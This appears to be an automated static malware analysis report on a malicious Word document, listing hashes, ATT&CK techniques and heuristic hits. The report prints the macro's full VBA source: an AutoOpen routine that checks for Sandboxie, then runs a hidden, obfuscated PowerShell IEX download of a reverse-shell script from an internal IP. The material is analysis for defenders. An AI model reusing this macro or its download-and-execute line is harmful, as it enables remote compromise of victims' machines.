Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b4274264b6e70781…

MALICIOUS

Office (OOXML)

18.9 KB Created: 2021-05-27 11:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-29
MD5: 13953fe35b03a0d77ef6ceef5ebaec8c SHA-1: 3ecd2241a0276e4f6d7ab73eca3e52436b231276 SHA-256: b4274264b6e7078106c63bb658d7f195c87b37b8a12474b6a71084c0f66f5aed
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1105 Ingress Tool Transfer T1071.001 Web Protocols T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that checks for Sandboxie. If not detected, it proceeds to execute a PowerShell command. This command uses WScript.Shell to download and execute a script from the URL http://192.168.2.120/reverse_shell_120_4444.ps1, likely establishing a reverse shell. The use of obfuscated strings and the AutoOpen macro indicate a malicious intent to download and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/reverse_shell_120_4444.ps1 Referenced by macro
    • http://1�92.168.�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1585 bytes
SHA-256: 49ec42bd42d7263ff41c2bea07d9c749485edc94a2b3f21af30462404474145f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Public Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
 
Sub AutoOpen()

 'If IsSandBoxiePresent(1) = True Then MsgBox ("OH no Sandboxie is here ...")
If IsSandBoxiePresent(1) = True Then Exit Sub
If IsSandBoxiePresent(1) = False Then Call Shello
MsgBox ("Run your tool ...")

End Sub
 
 
 
 
 
 
 
Function IsSandBoxiePresent(ByVal OptionToCheck As Integer) As Boolean
   Select Case OptionToCheck
       Case 1  'Recomendado
           Dim hSbie As Long
 
           hSbie = GetModuleHandle("SbieDll.dll")
           If hSbie <> 0 Then
               IsSandBoxiePresent = True
           Else
               IsSandBoxiePresent = False
           End If
       Case 2  'No recomendado
           If InStr(MainFrm.Caption, "[#]") <> 0 Then
               IsSandBoxiePresent = True
           Else
               IsSandBoxiePresent = False
           End If
   End Select
End Function

Function Shello()

  Set objShell = CreateObject("Wscript.shell")
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"

End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: a5b1620c6bbc642d2c53928b4efd64a2abea368739f751896ce7a31c817e40bd

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